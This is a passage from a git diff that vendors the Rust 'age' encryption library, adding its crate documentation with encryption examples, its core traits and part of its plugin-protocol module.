[Go] implementation. +//! +//! The encryption and decryption APIs are provided by [`Encryptor`] and [`Decryptor`]. +//! There are several ways to use these: +//! - For most cases (including programmatic usage), use [`Encryptor::with_recipients`] +//! with [`x25519::Recipient`], and [`Decryptor`] with [`x25519::Identity`]. +//! - For passphrase-based encryption and decryption, use [`scrypt::Recipient`] and +//! [`scrypt::Identity`], or the helper method [`Encryptor::with_user_passphrase`]. +//! These should only be used with passphrases that were provided by (or generated for) +//! a human. +//! - For compatibility with existing SSH keys, enable the `ssh` feature flag, and use +//! [`ssh::Recipient`] and [`ssh::Identity`]. +//! +//! Age-encrypted files are binary and non-malleable. To encode them as text, use the +//! wrapping readers and writers in the [`armor`] module, behind the `armor` feature flag. +//! +//! *Caution*: all crate versions prior to 1.0 are beta releases for **testing purposes +//! only**. +//! +//! [age-encryption.org/v1]: https://age-encryption.org/v1 +//! [rage]: https://crates.io/crates/rage +//! [Go]: https://filippo.io/age +//! +//! # Examples +//! +//! ## Streamlined APIs +//! +//! These are useful when you only need to encrypt to a single recipient, and the data is +//! small enough to fit in memory. +//! +//! ### Recipient-based encryption +//! +//! ``` +//! # fn run_main() -> Result<(), ()> { +//! let key = age::x25519::Identity::generate(); +//! let pubkey = key.to_public(); +//! +//! let plaintext = b"Hello world!"; +//! +//! # fn encrypt(pubkey: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = age::encrypt(&pubkey, plaintext)?; +//! # Ok(encrypted) +//! # } +//! # fn decrypt(key: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = age::decrypt(&key, &encrypted)?; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # key, +//! # encrypt(pubkey, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! # run_main().unwrap(); +//! ``` +//! +//! ## Passphrase-based encryption +//! +//! ``` +//! use age::secrecy::SecretString; +//! +//! # fn run_main() -> Result<(), ()> { +//! let passphrase = SecretString::from("this is not a good passphrase".to_owned()); +//! let recipient = age::scrypt::Recipient::new(passphrase.clone()); +//! let identity = age::scrypt::Identity::new(passphrase); +//! +//! let plaintext = b"Hello world!"; +//! +//! # fn encrypt(recipient: age::scrypt::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = age::encrypt(&recipient, plaintext)?; +//! # Ok(encrypted) +//! # } +//! # fn decrypt(identity: age::scrypt::Identity, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = age::decrypt(&identity, &encrypted)?; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # identity, +//! # encrypt(recipient, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! # run_main().unwrap(); +//! ``` +//! +//! ## Full APIs +//! +//! The full APIs support encrypting to multiple recipients, streaming the data, and have +//! async I/O options. +//! +//! ### Recipient-based encryption +//! +//! ``` +//! use std::io::{Read, Write}; +//! use std::iter; +//! +//! # fn run_main() -> Result<(), ()> { +//! let key = age::x25519::Identity::generate(); +//! let pubkey = key.to_public(); +//! +//! let plaintext = b"Hello world!"; +//! +//! // Encrypt the plaintext to a ciphertext... +//! # fn encrypt(pubkey: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = { +//! let encryptor = age::Encryptor::with_recipients(iter::once(&pubkey as _)) +//! .expect("we provided a recipient"); +//! +//! let mut encrypted = vec![]; +//! let mut writer = encryptor.wrap_output(&mut encrypted)?; +//! writer.write_all(plaintext)?; +//! writer.finish()?; +//! +//! encrypted +//! }; +//! # Ok(encrypted) +//! # } +//! +//! // ... and decrypt the obtained ciphertext to the plaintext again. +//! # fn decrypt(key: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = { +//! let decryptor = age::Decryptor::new(&encrypted[..])?; +//! +//! let mut decrypted = vec![]; +//! let mut reader = decryptor.decrypt(iter::once(&key as &dyn age::Identity))?; +//! reader.read_to_end(&mut decrypted); +//! +//! decrypted +//! }; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # key, +//! # encrypt(pubkey, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! +//! # run_main().unwrap(); +//! ``` +//! +//! ## Passphrase-based encryption +//! +//! ``` +//! use age::secrecy::SecretString; +//! use std::io::{Read, Write}; +//! use std::iter; +//! +//! # fn run_main() -> Result<(), ()> { +//! let plaintext = b"Hello world!"; +//! let passphrase = SecretString::from("this is not a good passphrase".to_owned()); +//! +//! // Encrypt the plaintext to a ciphertext using the passphrase... +//! # fn encrypt(passphrase: SecretString, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = { +//! let encryptor = age::Encryptor::with_user_passphrase(passphrase.clone()); +//! +//! let mut encrypted = vec![]; +//! let mut writer = encryptor.wrap_output(&mut encrypted)?; +//! writer.write_all(plaintext)?; +//! writer.finish()?; +//! +//! encrypted +//! }; +//! # Ok(encrypted) +//! # } +//! +//! // ... and decrypt the ciphertext to the plaintext again using the same passphrase. +//! # fn decrypt(passphrase: SecretString, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = { +//! let decryptor = age::Decryptor::new(&encrypted[..])?; +//! +//! let mut decrypted = vec![]; +//! let mut reader = decryptor.decrypt(iter::once(&age::scrypt::Identity::new(passphrase) as _))?; +//! reader.read_to_end(&mut decrypted); +//! +//! decrypted +//! }; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # passphrase.clone(), +//! # encrypt(passphrase, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! # run_main().unwrap(); +//! ``` + +#![cfg_attr(docsrs, feature(doc_cfg))] +#![forbid(unsafe_code)] +// Catch documentation errors caused by code changes. +#![deny(rustdoc::broken_intra_doc_links)] +#![deny(missing_docs)] + +use std::collections::HashSet; + +// Re-export crates that are used in our public API. +pub use age_core::secrecy; + +mod error; +mod format; +mod identity; +mod keys; +mod primitives; +mod protocol; +mod util; + +pub use error::{DecryptError, EncryptError, IdentityFileConvertError}; +pub use identity::IdentityFile; +pub use primitives::stream; +pub use protocol::{Decryptor, Encryptor}; + +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub use primitives::armor; + +#[cfg(feature = "cli-common")] +#[cfg_attr(docsrs, doc(cfg(feature = "cli-common")))] +pub mod cli_common; + +mod error_fmt; + +// +// Simple interface +// + +mod simple; +pub use simple::{decrypt, encrypt}; + +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub use simple::encrypt_and_armor; + +// +// Identity types +// + +pub mod encrypted; +pub mod scrypt; +pub mod x25519; + +#[cfg(feature = "plugin")] +#[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] +pub mod plugin; + +#[cfg(feature = "ssh")] +#[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] +pub mod ssh; + +// +// Core traits +// + +use age_core::{ + format::{FileKey, Stanza}, + secrecy::SecretString, +}; + +/// A private key or other value that can unwrap an opaque file key from a recipient +/// stanza. +/// +/// # Implementation notes +/// +/// The canonical entry point for this trait is [`Identity::unwrap_stanzas`]. The default +/// implementation of that method is: +/// ```ignore +/// stanzas.iter().find_map(|stanza| self.unwrap_stanza(stanza)) +/// ``` +/// +/// The `age` crate otherwise does not call [`Identity::unwrap_stanza`] directly. As such, +/// if you want to add file-level stanza checks, override [`Identity::unwrap_stanzas`]. +pub trait Identity { + /// Attempts to unwrap the given stanza with this identity. + /// + /// This method is part of the `Identity` trait to expose age's [one joint] for + /// external implementations. You should not need to call this directly; instead, pass + /// identities to [`Decryptor::decrypt`]. + /// + /// The `age` crate only calls this method via [`Identity::unwrap_stanzas`]. + /// + /// Returns: + /// - `Some(Ok(file_key))` on success. + /// - `Some(Err(e))` if a decryption error occurs. + /// - `None` if the recipient stanza does not match this key. + /// + /// [one joint]: https://www.imperialviolet.org/2016/05/16/agility.html + fn unwrap_stanza(&self, stanza: &Stanza) -> Option>; + + /// Attempts to unwrap any of the given stanzas, which are assumed to come from the + /// same age file header, and therefore contain the same file key. + /// + /// This method is part of the `Identity` trait to expose age's [one joint] for + /// external implementations. You should not need to call this directly; instead, pass + /// identities to [`Decryptor::decrypt`]. + /// + /// Returns: + /// - `Some(Ok(file_key))` on success. + /// - `Some(Err(e))` if a decryption error occurs. + /// - `None` if none of the recipient stanzas match this identity. + /// + /// [one joint]: https://www.imperialviolet.org/2016/05/16/agility.html + fn unwrap_stanzas(&self, stanzas: &[Stanza]) -> Option> { + stanzas.iter().find_map(|stanza| self.unwrap_stanza(stanza)) + } +} + +/// A public key or other value that can wrap an opaque file key to a recipient stanza. +/// +/// Implementations of this trait might represent more than one recipient. +pub trait Recipient { + /// Wraps the given file key, returning stanzas to be placed in an age file header, + /// and labels that constrain how the stanzas may be combined with those from other + /// recipients. + /// + /// Implementations may return more than one stanza per "actual recipient", e.g. to + /// support multiple formats, to build group aliases, or to act as a proxy. + /// + /// This method is part of the `Recipient` trait to expose age's [one joint] for + /// external implementations. You should not need to call this directly; instead, pass + /// recipients to [`Encryptor::with_recipients`]. + /// + /// [one joint]: https://www.imperialviolet.org/2016/05/16/agility.html + /// + /// # Labels + /// + /// [`Encryptor`] will succeed at encrypting only if every recipient returns the same + /// set of labels. Subsets or partial overlapping sets are not allowed; all sets must + /// be identical. Labels are compared exactly, and are case-sensitive. + /// + /// Label sets can be used to ensure a recipient is only encrypted to alongside other + /// recipients with equivalent properties, or to ensure a recipient is always used + /// alone. A recipient with no particular properties to enforce should return an empty + /// label set. + /// + /// Labels can have any value that is a valid arbitrary string (`1*VCHAR` in ABNF), + /// but usually take one of several forms: + /// - *Common public label* - used by multiple recipients to permit their stanzas to + /// be used only together. Examples include: + /// - `postquantum` - indicates that the recipient stanzas being generated are + /// postquantum-secure, and that they can only be combined with other stanzas + /// that are also postquantum-secure. + /// - *Common private label* - used by recipients created by the same private entity + /// to permit their recipient stanzas to be used only together. For example, + /// private recipients used in a corporate environment could all send the same + /// private label in order to prevent compliant age clients from simultaneously + /// wrapping file keys with other recipients. + /// - *Random label* - used by recipients that want to ensure their stanzas are not + /// used with any other recipient stanzas. This can be used to produce a file key + /// that is only encrypted to a single recipient stanza, for example to preserve + /// its authentication properties. + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError>; +} + +/// Callbacks that might be triggered during encryption or decryption. +/// +/// Structs that implement this trait should be given directly to the individual +/// `Recipient` or `Identity` implementations that require them. +pub trait Callbacks: Clone + Send + Sync + 'static { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + /// + /// No guarantee is provided that the user sees this message (for example, if there is + /// no UI for displaying messages). + fn display_message(&self, message: &str); + + /// Requests that the user provides confirmation for some action. + /// + /// This can be used to, for example, request that a hardware key the plugin wants to + /// try either be plugged in, or skipped. + /// + /// - `message` is the request or call-to-action to be displayed to the user. + /// - `yes_string` and (optionally) `no_string` will be displayed on buttons or next + /// to selection options in the user's UI. + /// + /// Returns: + /// - `Some(true)` if the user selected the option marked with `yes_string`. + /// - `Some(false)` if the user selected the option marked with `no_string` (or the + /// default negative confirmation label). + /// - `None` if the confirmation request could not be given to the user (for example, + /// if there is no UI for displaying messages). + fn confirm(&self, message: &str, yes_string: &str, no_string: Option<&str>) -> Option; + + /// Requests non-private input from the user. + /// + /// To request private inputs, use [`Callbacks::request_passphrase`]. + /// + /// Returns: + /// - `Some(input)` with the user-provided input. + /// - `None` if no input could be requested from the user (for example, if there is no + /// UI for displaying messages or typing inputs). + fn request_public_string(&self, description: &str) -> Option; + + /// Requests a passphrase to decrypt a key. + /// + /// Returns: + /// - `Some(passphrase)` with the user-provided passphrase. + /// - `None` if no passphrase could be requested from the user (for example, if there + /// is no UI for displaying messages or typing inputs). + fn request_passphrase(&self, description: &str) -> Option; +} + +/// An implementation of [`Callbacks`] that does not allow callbacks. +/// +/// No user interaction will occur; [`Recipient`] or [`Identity`] implementations will +/// receive `None` from the callbacks that return responses, and will act accordingly. +#[derive(Clone, Copy, Debug)] +pub struct NoCallbacks; + +impl Callbacks for NoCallbacks { + fn display_message(&self, _: &str) {} + + fn confirm(&self, _: &str, _: &str, _: Option<&str>) -> Option { + None + } + + fn request_public_string(&self, _: &str) -> Option { + None + } + + fn request_passphrase(&self, _: &str) -> Option { + None + } +} + +// +// Fuzzing APIs +// + +/// Helper for fuzzing the Header parser and serializer. +#[cfg(fuzzing)] +pub fn fuzz_header(data: &[u8]) { + if let Ok(header) = format::Header::read(data) { + let mut buf = Vec::with_capacity(data.len()); + header.write(&mut buf).expect("can write header"); + assert_eq!(&buf[..], &data[..buf.len()]); + } +} diff --git a/lib/rage/age/src/plugin.rs b/lib/rage/age/src/plugin.rs new file mode 100644 index 0000000..f38ec0c --- /dev/null +++ b/lib/rage/age/src/plugin.rs @@ -0,0 +1,800 @@ +//! Support for the age plugin system. + +use age_core::{ + format::{FileKey, Stanza}, + io::{DebugReader, DebugWriter}, + plugin::{Connection, Reply, Response, UnidirSend, IDENTITY_V1, RECIPIENT_V1}, + secrecy::ExposeSecret, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::Variant; + +use std::borrow::Borrow; +use std::collections::HashSet; +use std::fmt; +use std::io; +use std::iter; +use std::path::PathBuf; +use std::process::{ChildStdin, ChildStdout}; +use std::sync::mpsc; +use std::thread; +use std::time::{Duration, SystemTime}; + +use crate::{ + error::{DecryptError, EncryptError, PluginError}, + fl, + util::parse_bech32, + wfl, wlnfl, Callbacks, +}; + +// Plugin HRPs are age1[name] and AGE-PLUGIN-[NAME]- +const PLUGIN_RECIPIENT_PREFIX: &str = "age1"; +const PLUGIN_IDENTITY_PREFIX: &str = "age-plugin-"; + +const CMD_ERROR: &str = "error"; +const CMD_RECIPIENT_STANZA: &str = "recipient-stanza"; +const CMD_LABELS: &str = "labels"; +const CMD_MSG: &str = "msg"; +const CMD_CONFIRM: &str = "confirm"; +const CMD_REQUEST_PUBLIC: &str = "request-public"; +const CMD_REQUEST_SECRET: &str = "request-secret"; +const CMD_FILE_KEY: &str = "file-key"; + +const ONE_HUNDRED_MS: Duration = Duration::from_millis(100); +const TEN_SECONDS: Duration = Duration::from_secs(10); + +#[inline] +fn valid_plugin_name(plugin_name: &str) -> bool { + plugin_name + .bytes() + .all(|b| b.is_ascii_alphanumeric() | matches!(b, b'+' | b'-' | b'.' | b'_')) +} + +fn binary_name(plugin_name: &str) -> String { + format!("age-plugin-{}", plugin_name) +} + +struct SlowPluginGuard(mpsc::Sender<()>); + +impl SlowPluginGuard { + /// Starts a thread to print out a progress message after 10 seconds if the plugin + /// hasn't finished. + /// + /// Returns a guard that can be dropped once the plugin finishes to cancel the timer. + fn new(callbacks: C, plugin_binary_name: String) -> Self { + // We use a channel to detect when the guard is dropped. + let (send, recv) = mpsc::channel::<()>(); + + thread::spawn(move || { + let start = SystemTime::now(); + loop { + // If the send side of the channel has been dropped, we've been cancelled. + if matches!(recv.try_recv(), Err(mpsc::TryRecvError::Disconnected)) { + break; + } + + // If we've waited long enough, emit the progress message and exit. + match SystemTime::now().duration_since(start) { + Ok(end) if end >= TEN_SECONDS => { + callbacks.display_message(&fl!( + "plugin-waiting-on-binary", + binary_name = plugin_binary_name, + )); + break; + } + _ => thread::sleep(ONE_HUNDRED_MS), + } + } + }); + + SlowPluginGuard(send) + } +} + +/// A plugin-compatible recipient. +#[derive(Clone)] +pub struct Recipient { + /// The plugin name, extracted from `recipient`. + name: String, + /// The recipient. + recipient: String, +} + +impl std::str::FromStr for Recipient { + type Err = &'static str; + + /// Parses a plugin recipient from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, _)| { + if hrp.len() > PLUGIN_RECIPIENT_PREFIX.len() + && hrp.starts_with(PLUGIN_RECIPIENT_PREFIX) + { + let name = hrp.split_at(PLUGIN_RECIPIENT_PREFIX.len()).1.to_owned(); + if valid_plugin_name(&name) { + Ok(Recipient { + name, + recipient: s.to_owned(), + }) + } else { + Err("invalid plugin name") + } + } else { + Err("invalid HRP") + } + }) + } +} + +impl fmt::Display for Recipient { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "{}", self.recipient) + } +} + +impl Recipient { + /// Returns the plugin name for this recipient. + pub fn plugin(&self) -> &str { + &self.name + } +} + +/// A plugin-compatible identity. +#[derive(Clone)] +pub struct Identity { + /// The plugin name, extracted from `identity`. + name: String, + /// The identity. + identity: String, +} + +impl std::str::FromStr for Identity { + type Err = &'static str; + + /// Parses a plugin identity from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, _)| { + if hrp.len() > PLUGIN_IDENTITY_PREFIX.len() + && hrp.starts_with(PLUGIN_IDENTITY_PREFIX) + { + // TODO: Decide whether to allow plugin names to end in - + let name = hrp + .split_at(PLUGIN_IDENTITY_PREFIX.len()) + .1 + .trim_end_matches('-') + .to_owned(); + if valid_plugin_name(&name) { + Ok(Identity { + name, + identity: s.to_owned(), + }) + } else { + Err("invalid plugin name") + } + } else { + Err("invalid HRP") + } + }) + } +} + +impl fmt::Display for Identity { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "{}", self.identity) + } +} + +impl Identity { + /// Returns the identity corresponding to the given plugin name in its default mode. + /// + /// # Panics + /// + /// Panics if `plugin_name` contains invalid characters. + pub fn default_for_plugin(plugin_name: &str) -> Self { + if valid_plugin_name(plugin_name) { + bech32::encode( + &format!("{}{}-", PLUGIN_IDENTITY_PREFIX, plugin_name), + [], + Variant::Bech32, + ) + .expect("HRP is valid") + .to_uppercase() + .parse() + .unwrap() + } else { + // TODO: Change the API to be fallible. + panic!("invalid plugin name") + } + } + + /// Returns the plugin name for this identity. + pub fn plugin(&self) -> &str { + &self.name + } +} + +/// An age plugin. +pub(crate) struct Plugin { + binary_name: String, + path: PathBuf, +} + +impl Plugin { + /// Finds the age plugin with the given name in `$PATH`. + /// + /// On error, returns the binary name that could not be located. + pub(crate) fn new(name: &str) -> Result { + let binary_name = binary_name(name); + match which::which(&binary_name).or_else(|e| { + // If we are running in WSL, try appending `.exe`; plugins installed in + // the Windows host are available to us, but `which` only trials PATHEXT + // extensions automatically when compiled for Windows. + if wsl::is_wsl() { + which::which(format!("{}.exe", binary_name)).map_err(|_| e) + } else { + Err(e) + } + }) { + Ok(path) => Ok(Plugin { binary_name, path }), + Err(_) => Err(binary_name), + } + } + + fn connect(&self, state_machine: &str) -> io::Result { + let conn = Connection::open(&self.path, state_machine)?; + Ok(BlastFurnace { + binary_name: self.binary_name.clone(), + conn, + }) + } +} + +/// Wraps a connection and gracefully handles plugin explosions. +struct BlastFurnace { + binary_name: String, + conn: Connection, DebugWriter>, +} + +impl BlastFurnace { + fn handle_errors(&self, res: io::Result<()>) -> io::Result<()> { + res.map_err(|e| match e.kind() { + io::ErrorKind::UnexpectedEof => io::Error::new( + io::ErrorKind::ConnectionAborted, + PluginDiedError { + binary_name: self.binary_name.clone(), + }, + ), + _ => e, + }) + } + + fn unidir_send< + P: FnOnce(UnidirSend, DebugWriter>) -> io::Result<()>, + >( + &mut self, + phase_steps: P, + ) -> io::Result<()> { + let res = self.conn.unidir_send(phase_steps); + self.handle_errors(res) + } + + fn bidir_receive(&mut self, commands: &[&str], handler: H) -> io::Result<()> + where + H: FnMut(Stanza, Reply, DebugWriter>) -> Response, + { + let res = self.conn.bidir_receive(commands, handler); + self.handle_errors(res) + } +} + +#[derive(Debug)] +struct PluginDiedError { + binary_name: String, +} + +impl fmt::Display for PluginDiedError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + wlnfl!( + f, + "err-plugin-died", + plugin_name = self.binary_name.as_str(), + )?; + wlnfl!(f, "rec-plugin-died-1", env_var = "AGEDEBUG=plugin")?; + wfl!(f, "rec-plugin-died-2") + } +} + +impl std::error::Error for PluginDiedError {} + +fn handle_confirm( + command: Stanza, + reply: Reply, + errors: &mut Vec, + callbacks: &C, +) -> Response { + let message = String::from_utf8_lossy(&command.body); + let mut strings = command + .args + .iter() + .take(2) + .map(|s| BASE64_STANDARD_NO_PAD.decode(s)); + let (yes_string, no_string) = match (strings.next(), strings.next()) { + (None, _) => { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must have at least one metadata argument", + CMD_CONFIRM + ), + }); + return reply.fail(); + } + (Some(Err(_)), _) | (_, Some(Err(_))) => { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "The first two metadata arguments to the {} command must be Base64-encoded", + CMD_CONFIRM + ), + }); + return reply.fail(); + } + (Some(Ok(yes_string)), None) => (yes_string, None), + (Some(Ok(yes_string)), Some(Ok(no_string))) => (yes_string, Some(no_string)), + }; + if let Some(value) = callbacks.confirm( + &message, + &String::from_utf8_lossy(&yes_string), + no_string + .as_ref() + .map(|s| String::from_utf8_lossy(s)) + .as_ref() + .map(|s| s.borrow()), + ) { + reply.ok_with_metadata(&[if value { "yes" } else { "no" }], None) + } else { + reply.fail() + } +} + +/// An age plugin with an associated set of recipients. +/// +/// This struct implements [`Recipient`], enabling the plugin to encrypt a file to the +/// entire set of recipients. +pub struct RecipientPluginV1 { + plugin: Plugin, + recipients: Vec, + identities: Vec, + callbacks: C, +} + +impl RecipientPluginV1 { + /// Creates an age plugin from a plugin name and lists of recipients and identities. + /// + /// The lists of recipients and identities will be filtered by the plugin name; + /// recipients that don't match will be ignored. + /// + /// Returns an error if the plugin's binary cannot be found in `$PATH`. + pub fn new( + plugin_name: &str, + recipients: &[Recipient], + identities: &[Identity], + callbacks: C, + ) -> Result { + if valid_plugin_name(plugin_name) { + Plugin::new(plugin_name) + .map_err(|binary_name| EncryptError::MissingPlugin { binary_name }) + .map(|plugin| RecipientPluginV1 { + plugin, + recipients: recipients + .iter() + .filter(|r| r.name == plugin_name) + .cloned() + .collect(), + identities: identities + .iter() + .filter(|r| r.name == plugin_name) + .cloned() + .collect(), + callbacks, + }) + } else { + Err(EncryptError::MissingPlugin { + binary_name: plugin_name.to_string(), + }) + } + } +} + +impl crate::Recipient for RecipientPluginV1 { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + // Open connection + let mut conn = self.plugin.connect(RECIPIENT_V1)?; + + let _guard = SlowPluginGuard::new(self.callbacks.clone(), self.plugin.binary_name.clone()); + + // Phase 1: add recipients, identities, and file key to wrap + conn.unidir_send(|mut phase| { + for recipient in &self.recipients { + phase.send("add-recipient", &[&recipient.recipient], &[])?; + } + for identity in &self.identities { + phase.send("add-identity", &[&identity.identity], &[])?; + } + phase.send("extension-labels", &[], &[])?; + phase.send("wrap-file-key", &[], file_key.expose_secret()) + })?; + + // Phase 2: collect either stanzas or errors + let mut stanzas = vec![]; + let mut labels = None; + let mut errors = vec![]; + if let Err(e) = conn.bidir_receive( + &[ + CMD_MSG, + CMD_CONFIRM, + CMD_REQUEST_PUBLIC, + CMD_REQUEST_SECRET, + CMD_RECIPIENT_STANZA, + CMD_LABELS, + CMD_ERROR, + ], + |mut command, reply| match command.tag.as_str() { + CMD_MSG => { + self.callbacks + .display_message(&String::from_utf8_lossy(&command.body)); + reply.ok(None) + } + CMD_CONFIRM => handle_confirm(command, reply, &mut errors, &self.callbacks), + CMD_REQUEST_PUBLIC => { + if let Some(value) = self + .callbacks + .request_public_string(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(value.as_bytes())) + } else { + reply.fail() + } + } + CMD_REQUEST_SECRET => { + if let Some(secret) = self + .callbacks + .request_passphrase(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(secret.expose_secret().as_bytes())) + } else { + reply.fail() + } + } + CMD_RECIPIENT_STANZA => { + if command.args.len() >= 2 { + // We only requested one file key be wrapped. + if command.args.remove(0) == "0" { + command.tag = command.args.remove(0); + stanzas.push(command); + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: "plugin wrapped file key to a file we didn't provide" + .to_owned(), + }); + } + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must have at least two metadata arguments", + CMD_RECIPIENT_STANZA + ), + }); + } + reply.ok(None) + } + CMD_LABELS => { + if labels.is_none() { + let labels_count = command.args.len(); + let label_set = command.args.into_iter().collect::>(); + if label_set.len() == labels_count { + labels = Some(label_set); + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must not contain duplicate labels", + CMD_LABELS + ), + }); + } + } else { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: format!( + "{} command must not be sent more than once", + CMD_LABELS + ), + }); + } + reply.ok(None) + } + CMD_ERROR => { + if command.args.len() == 2 && command.args[0] == "recipient" { + let index: usize = command.args[1].parse().unwrap(); + errors.push(PluginError::Recipient { + binary_name: binary_name(&self.recipients[index].name), + recipient: self.recipients[index].recipient.clone(), + message: String::from_utf8_lossy(&command.body).to_string(), + }); + } else if command.args.len() == 2 && command.args[0] == "identity" { + let index: usize = command.args[1].parse().unwrap(); + errors.push(PluginError::Identity { + binary_name: binary_name(&self.identities[index].name), + message: String::from_utf8_lossy(&command.body).to_string(), + }); + } else { + errors.push(PluginError::from(command)); + } + reply.ok(None) + } + _ => unreachable!(), + }, + ) { + return Err(e.into()); + }; + match (stanzas.is_empty(), errors.is_empty()) { + (false, true) => Ok((stanzas, labels.unwrap_or_default())), + (a, b) => { + if a & b { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: "Plugin returned neither stanzas nor errors".to_owned(), + }); + } else if !a & !b { + errors.push(PluginError::Other { + kind: "internal".to_owned(), + metadata: vec![], + message: "Plugin returned both stanzas and errors".to_owned(), + }); + } + Err(EncryptError::Plugin(errors)) + } + } + } +} + +/// An age plugin with an associated set of identities. +/// +/// This struct implements [`Identity`], enabling the plugin to decrypt a file with any +/// identity in the set of identities. +pub struct IdentityPluginV1 { + plugin: Plugin, + identities: Vec, + callbacks: C, +} + +impl IdentityPluginV1 { + /// Creates an age plugin from a plugin name and a list of identities. + /// + /// The list of identities will be filtered by the plugin name; identities that don't + /// match will be ignored. + /// + /// Returns an error if the plugin's binary cannot be found in `$PATH`. + pub fn new( + plugin_name: &str, + identities: &[Identity], + callbacks: C, + ) -> Result { + if valid_plugin_name(plugin_name) { + Plugin::new(plugin_name) + .map_err(|binary_name| DecryptError::MissingPlugin { binary_name }) + .map(|plugin| { + let identities = identities + .iter() + .filter(|r| r.name == plugin_name) + .cloned() + .collect(); + Self::from_parts(plugin, identities, callbacks) + }) + } else { + Err(DecryptError::MissingPlugin { + binary_name: plugin_name.to_string(), + }) + } + } + + pub(crate) fn from_parts(plugin: Plugin, identities: Vec, callbacks: C) -> Self { + IdentityPluginV1 { + plugin, + identities, + callbacks, + } + } + + fn unwrap_stanzas<'a>( + &self, + stanzas: impl Iterator, + ) -> Option> { + // Open connection. If the plugin doesn't know how to unwrap identities, skip it + // by returning `None`. + let mut conn = self.plugin.connect(IDENTITY_V1).ok()?; + + let _guard = SlowPluginGuard::new(self.callbacks.clone(), self.plugin.binary_name.clone()); + + // Phase 1: add identities and stanzas + if let Err(e) = conn.unidir_send(|mut phase| { + for identity in &self.identities { + phase.send("add-identity", &[identity.identity.as_str()], &[])?; + } + for stanza in stanzas { + phase.send_stanza("recipient-stanza", &["0"], stanza)?; + } + Ok(()) + }) { + return Some(Err(e.into())); + }; + + // Phase 2: interactively unwrap + let mut file_key = None; + let mut errors = vec![]; + if let Err(e) = conn.bidir_receive( + &[ + CMD_MSG, + CMD_CONFIRM, + CMD_REQUEST_PUBLIC, + CMD_REQUEST_SECRET, + CMD_FILE_KEY, + CMD_ERROR, + ], + |command, reply| match command.tag.as_str() { + CMD_MSG => { + self.callbacks + .display_message(&String::from_utf8_lossy(&command.body)); + reply.ok(None) + } + CMD_CONFIRM => handle_confirm(command, reply, &mut errors, &self.callbacks), + CMD_REQUEST_PUBLIC => { + if let Some(value) = self + .callbacks + .request_public_string(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(value.as_bytes())) + } else { + reply.fail() + } + } + CMD_REQUEST_SECRET => { + if let Some(secret) = self + .callbacks + .request_passphrase(&String::from_utf8_lossy(&command.body)) + { + reply.ok(Some(secret.expose_secret().as_bytes())) + } else { + reply.fail() + } + } + CMD_FILE_KEY => { + // We only support a single file. + assert!(command.args[0] == "0"); + assert!(file_key.is_none()); + file_key = Some(FileKey::try_init_with_mut(|file_key| { + if command.body.len() == file_key.len() { + file_key.copy_from_slice(&command.body); + Ok(()) + } else { + Err(DecryptError::DecryptionFailed) + } + })); + reply.ok(None) + } + CMD_ERROR => { + if command.args.len() == 2 && command.args[0] == "identity" { + let index: usize = command.args[1].parse().unwrap(); + errors.push(PluginError::Identity { + binary_name: binary_name(&self.identities[index].name), + message: String::from_utf8_lossy(&command.body).to_string(), + }); + } else { + errors.push(PluginError::from(command)); + } + reply.ok(None) + } + _ => unreachable!(), + }, + ) { + return Some(Err(e.into())); + }; + + if file_key.is_none() && !errors.is_empty() { + Some(Err(DecryptError::Plugin(errors))) + } else { + file_key + } + } 